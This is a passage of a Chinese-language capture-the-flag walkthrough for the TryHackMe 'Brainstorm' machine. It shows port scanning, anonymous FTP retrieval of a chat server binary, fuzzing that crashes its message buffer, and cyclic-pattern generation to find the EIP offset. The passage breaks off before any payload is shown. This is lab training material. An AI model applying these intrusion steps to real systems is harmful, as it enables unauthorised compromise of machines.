前言
- 逆向工程一个聊天程序并编写一个脚本来利用Windows机器。
部署
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target machine : 10.10.161.25
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attack machine : 10.11.61.123 (本机kali连接openVPN)
Nmasp扫描
┌──(kali㉿kali)-[~/桌面/THM/Brainstorm]
└─$ nmap -p- -Pn 10.10.161.25
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-23 08:41 EST
Stats: 0:00:51 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 7.42% done; ETC: 08:52 (0:10:36 remaining)
Stats: 0:02:39 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 27.09% done; ETC: 08:51 (0:07:08 remaining)
Stats: 0:03:36 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 40.43% done; ETC: 08:50 (0:05:18 remaining)
Stats: 0:04:39 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 47.01% done; ETC: 08:51 (0:05:15 remaining)
Stats: 0:05:47 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 58.61% done; ETC: 08:51 (0:04:05 remaining)
Nmap scan report for 10.10.161.25
Host is up (0.20s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
3389/tcp open ms-wbt-server
9999/tcp open abyss
┌──(kali㉿kali)-[~/桌面/THM/Brainstorm]
└─$ nmap -p 21,3389,9999 10.10.161.25 -sC -sV -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-23 09:02 EST
Stats: 0:02:04 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 09:05 (0:01:01 remaining)
Stats: 0:02:10 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 09:05 (0:01:04 remaining)
Nmap scan report for 10.10.161.25
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
3389/tcp open ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: BRAINSTORM
| NetBIOS_Domain_Name: BRAINSTORM
| NetBIOS_Computer_Name: BRAINSTORM
| DNS_Domain_Name: brainstorm
| DNS_Computer_Name: brainstorm
| Product_Version: 6.1.7601
|_ System_Time: 2023-12-23T14:04:54+00:00
|_ssl-date: 2023-12-23T14:05:24+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2023-12-22T13:34:58
|_Not valid after: 2024-06-22T13:34:58
9999/tcp open abyss?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| Welcome to Brainstorm chat (beta)
| Please enter your username (max 20 characters): Write a message:
| NULL:
| Welcome to Brainstorm chat (beta)
|_ Please enter your username (max 20 characters):
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3389-TCP:V=7.93%I=7%D=12/23%Time=6586E86B%P=x86_64-pc-linux-gnu%r(T
SF:erminalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\x01\x08\0\x
SF:02\0\0\0");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9999-TCP:V=7.93%I=7%D=12/23%Time=6586E866%P=x86_64-pc-linux-gnu%r(N
SF:ULL,52,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20ente
SF:r\x20your\x20username\x20\(max\x2020\x20characters\):\x20")%r(GetReques
SF:t,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\
SF:x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20me
SF:ssage:\x20")%r(HTTPOptions,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\
SF:(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20characte
SF:rs\):\x20Write\x20a\x20message:\x20")%r(FourOhFourRequest,63,"Welcome\x
SF:20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20user
SF:name\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(
SF:JavaRMI,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20
SF:enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a
SF:\x20message:\x20")%r(GenericLines,63,"Welcome\x20to\x20Brainstorm\x20ch
SF:at\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20c
SF:haracters\):\x20Write\x20a\x20message:\x20")%r(RTSPRequest,63,"Welcome\
SF:x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20use
SF:rname\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r
SF:(RPCCheck,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x
SF:20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x2
SF:0a\x20message:\x20")%r(DNSVersionBindReqTCP,63,"Welcome\x20to\x20Brains
SF:torm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\
SF:x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(DNSStatusReque
SF:stTCP,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20en
SF:ter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x
SF:20message:\x20")%r(Help,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(be
SF:ta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20characters\
SF:):\x20Write\x20a\x20message:\x20")%r(SSLSessionReq,63,"Welcome\x20to\x2
SF:0Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x2
SF:0\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(Termina
SF:lServerCookie,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlea
SF:se\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Writ
SF:e\x20a\x20message:\x20");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
FTP文件访问
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anonymous匿名登陆目标机的ftp服务
ftp $target_ip ftp> passive //设置传输模式为被动模式，方便我们查看 ftp> dir ftp> binary // 设置传输方式为binary- 登录查看并下载：
┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ ftp 10.10.161.25 Connected to 10.10.161.25. 220 Microsoft FTP Service Name (10.10.161.25:kali): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> passive Passive mode: off; fallback to active mode: off. ftp> dir 200 EPRT command successful. 125 Data connection already open; Transfer starting. 08-29-19 07:36PM <DIR> chatserver 226 Transfer complete. ftp> cd chatserver 250 CWD command successful. ftp> dir 200 EPRT command successful. 125 Data connection already open; Transfer starting. 08-29-19 09:26PM 43747 chatserver.exe 08-29-19 09:27PM 30761 essfunc.dll 226 Transfer complete. ftp> binary 200 Type set to I. ftp> get chatserver.exe local: chatserver.exe remote: chatserver.exe 200 EPRT command successful. 125 Data connection already open; Transfer starting. 100% |******************************************************************************************************************************************************************************************************************| 43747 29.70 KiB/s 00:00 ETA226 Transfer complete. 43747 bytes received in 00:01 (29.69 KiB/s) ftp> get essfunc.dll local: essfunc.dll remote: essfunc.dll 200 EPRT command successful. 125 Data connection already open; Transfer starting. 100% |******************************************************************************************************************************************************************************************************************| 30761 27.95 KiB/s 00:00 ETA226 Transfer complete. 30761 bytes received in 00:01 (27.94 KiB/s)
获取目标访问权限
window环境配置
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将两文件传值windows虚拟机，除此之外，windows虚拟机还需下载：
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下载文件依次安装，把mona.py拷贝进Immunity Debugger安装目录的PyCommands文件夹下：
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查看ip,关闭防火墙
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查看chatserver.exe 运行：
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未知端口9999可能是chatserver.exe的，使用netcat 访问9999端口：
┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ nc 10.10.161.25 9999 Welcome to Brainstorm chat (beta) Please enter your username (max 20 characters): test Write a message: 123 Sat Dec 23 07:16:00 2023 test said: 123 Write a message: 233 Sat Dec 23 07:16:11 2023 test said: 233 -
目标程序在运行时 有两个输入缓冲区，其中username所对应的输入缓冲区被设置为最大不超过20个字符（超过部分的字符并不占用缓冲区内存），而message所对应的输入缓冲区并没有做明显限制，也就是说message所对应的输入缓冲区可能存在溢出。
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需要先输入username后才能输入massage
模糊测试
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生成字符串：
# x为字符数量 python -c "print('A'*x)"┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ python -c "print('A'*2000)" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ python -c "print('A'*2500)" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -
对本地windows chatserver.exe 的message缓冲区：
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Immunity Debugger打开并运行chatserver.exe:
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kali进行模糊测试：
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尝试2000：
┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ nc 192.168.223.128 9999 Welcome to Brainstorm chat (beta) Please enter your username (max 20 characters): test Write a message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ···
未发生崩溃
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尝试2500：
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2500字节会导致message缓冲区溢出病崩溃，EIP寄存器已被A(x41)完全覆盖
确定EIP偏移量并控制EIP
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根据初步模糊测试结果生成随机字符：
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500┌──(kali㉿kali)-[~/桌面/THM/Brainstorm] └─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D -
重启运行chatserver.exe,kali发送字符串：
